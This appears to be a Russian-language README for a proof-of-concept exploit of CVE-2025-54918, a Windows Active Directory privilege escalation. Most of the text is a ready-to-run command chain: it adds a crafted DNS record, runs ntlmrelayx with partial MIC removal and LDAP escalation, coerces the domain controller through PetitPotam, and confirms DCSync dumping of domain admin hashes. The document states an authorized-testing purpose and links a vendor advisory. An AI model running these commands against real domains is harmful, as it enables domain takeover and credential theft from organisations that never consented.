
POC для CVE-2025-54918 и техническая демонстрация.
ВАЖНО:
Для тестирования CVE-2025-54918 необходимо создать DNS-запись в целевой среде Active Directory.
Всегда консультируйтесь с клиентом и получайте явное разрешение перед тестированием, так как это может повлиять на поведение DNS и аутентификации в производственных средах.
Этот репозиторий содержит техническое доказательство концепции, демонстрирующее, как пользователь домена с низкими привилегиями может повысить свои права до уровня администратора домена, злоупотребляя отражением NTLM в сочетании с принуждением аутентификации.
Примечание: CVE эксплуатируется даже при установленном значении True для подписи, что является значением по умолчанию для контроллера домена. Также исправление для CVE-2025-54918 было выпущено для Windows 2025, а CVE-2025-33073 (непреднамеренно) исправило проблему для Windows 2022.
Более технический разбор доступен на моей странице Medium: https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1
192.168.140.150 (Подпись установлена в True, что является значением по умолчанию для контроллера домена)192.168.140.135nahya.localtest Действительный пользователь домена (без привилегий DCSync)Клонируйте необходимые репозитории:
git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git
Убедитесь, что пользователь не может выполнить DCSync до эксплуатации:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Создайте DNS-запись, используя NetBIOS-имя + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, которое разрешается в IP атакующего.
python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
dc.nahya.local -a add \
-r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
-d '192.168.140.135' -dns-ip 192.168.140.150

Запустите ntlmrelayx с частичным удалением MIC и включенной эскалацией LDAP:
python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC --escalate-user USERNAME --no-validate-privs

Принудите контроллер домена аутентифицироваться на контролируемой атакующим DNS-записи с помощью техники принуждения (PetitPotam):
nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Повторно запустите secretsdump, чтобы подтвердить повышение привилегий:
python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC
✅ Ожидаемый результат: успешный DCSync и получение хешей администратора домена

На этом этапе атакующий получил:
Обратитесь к статье на Medium для получения подробного объяснения уязвимости и цепочки атак.
Эта работа была бы невозможна без:
impacket-partial-micAnalyzing NTLM & LDAP Authentication Bypass Vulnerability – Блог CrowdStrike
https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/
Microsoft Security Advisory – CVE-2025-54918 – Руководство по обновлению MSRC
https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918
Это доказательство концепции предоставляется только для образовательных целей и авторизованного тестирования безопасности.